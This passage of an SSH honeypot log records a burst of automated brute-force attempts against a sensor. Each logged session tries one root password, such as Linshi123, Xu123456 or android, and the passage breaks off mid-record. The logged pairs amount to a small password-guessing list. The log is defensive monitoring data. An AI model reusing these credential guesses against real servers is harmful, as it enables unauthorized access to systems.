{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60496,"dst_ip":"10.17.0.5","dst_port":22,"session":"c82a2843b231","protocol":"ssh","message":"New connection: 60.165.124.241:60496 (10.17.0.5:22) [session: c82a2843b231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:34.554698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:34.559310Z","src_ip":"60.165.124.241","session":"c82a2843b231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:34.801785Z","src_ip":"60.165.124.241","session":"c82a2843b231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linshi123","message":"login attempt [root/Linshi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:35.537840Z","src_ip":"60.165.124.241","session":"c82a2843b231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:36.778118Z","src_ip":"60.165.124.241","session":"c82a2843b231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35014,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f8da7a6e9e9","protocol":"ssh","message":"New connection: 60.165.124.241:35014 (10.17.0.5:22) [session: 5f8da7a6e9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:37.011870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:37.016828Z","src_ip":"60.165.124.241","session":"5f8da7a6e9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:37.257435Z","src_ip":"60.165.124.241","session":"5f8da7a6e9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xu123456","message":"login attempt [root/Xu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:37.978023Z","src_ip":"60.165.124.241","session":"5f8da7a6e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:39.217333Z","src_ip":"60.165.124.241","session":"5f8da7a6e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38086,"dst_ip":"10.17.0.5","dst_port":22,"session":"9791aff2b432","protocol":"ssh","message":"New connection: 60.165.124.241:38086 (10.17.0.5:22) [session: 9791aff2b432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:39.449625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:39.454291Z","src_ip":"60.165.124.241","session":"9791aff2b432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:39.695070Z","src_ip":"60.165.124.241","session":"9791aff2b432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4udu9EtE","message":"login attempt [root/4udu9EtE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:40.414955Z","src_ip":"60.165.124.241","session":"9791aff2b432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:41.653284Z","src_ip":"60.165.124.241","session":"9791aff2b432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40984,"dst_ip":"10.17.0.5","dst_port":22,"session":"6039a53a8615","protocol":"ssh","message":"New connection: 60.165.124.241:40984 (10.17.0.5:22) [session: 6039a53a8615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:41.894319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:41.898722Z","src_ip":"60.165.124.241","session":"6039a53a8615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:42.141272Z","src_ip":"60.165.124.241","session":"6039a53a8615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA.123456","message":"login attempt [root/aA.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:42.878999Z","src_ip":"60.165.124.241","session":"6039a53a8615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:44.119200Z","src_ip":"60.165.124.241","session":"6039a53a8615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44152,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c9a0343187","protocol":"ssh","message":"New connection: 60.165.124.241:44152 (10.17.0.5:22) [session: 45c9a0343187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:44.356693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:44.360844Z","src_ip":"60.165.124.241","session":"45c9a0343187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:44.606802Z","src_ip":"60.165.124.241","session":"45c9a0343187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"As@123456","message":"login attempt [root/As@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:45.333109Z","src_ip":"60.165.124.241","session":"45c9a0343187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:46.577708Z","src_ip":"60.165.124.241","session":"45c9a0343187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47160,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0eb90952bdb","protocol":"ssh","message":"New connection: 60.165.124.241:47160 (10.17.0.5:22) [session: a0eb90952bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:46.812691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:46.817233Z","src_ip":"60.165.124.241","session":"a0eb90952bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:47.054971Z","src_ip":"60.165.124.241","session":"a0eb90952bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc321","message":"login attempt [root/abc321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:47.800568Z","src_ip":"60.165.124.241","session":"a0eb90952bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:49.040190Z","src_ip":"60.165.124.241","session":"a0eb90952bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49998,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5b284c472d","protocol":"ssh","message":"New connection: 60.165.124.241:49998 (10.17.0.5:22) [session: 7d5b284c472d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:49.278435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:49.282820Z","src_ip":"60.165.124.241","session":"7d5b284c472d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:49.620047Z","src_ip":"60.165.124.241","session":"7d5b284c472d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download123","message":"login attempt [root/download123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:50.358330Z","src_ip":"60.165.124.241","session":"7d5b284c472d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:51.599457Z","src_ip":"60.165.124.241","session":"7d5b284c472d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52976,"dst_ip":"10.17.0.5","dst_port":22,"session":"57f7e259e575","protocol":"ssh","message":"New connection: 60.165.124.241:52976 (10.17.0.5:22) [session: 57f7e259e575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:51.833032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:51.837113Z","src_ip":"60.165.124.241","session":"57f7e259e575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:52.073987Z","src_ip":"60.165.124.241","session":"57f7e259e575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"android","message":"login attempt [root/android] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:52.793369Z","src_ip":"60.165.124.241","session":"57f7e259e575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33097,"dst_ip":"10.17.0.5","dst_port":22,"session":"432947beceeb","protocol":"ssh","message":"New connection: 168.167.228.74:33097 (10.17.0.5:22) [session: 432947beceeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:53.307844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:53.312097Z","src_ip":"168.167.228.74","session":"432947beceeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 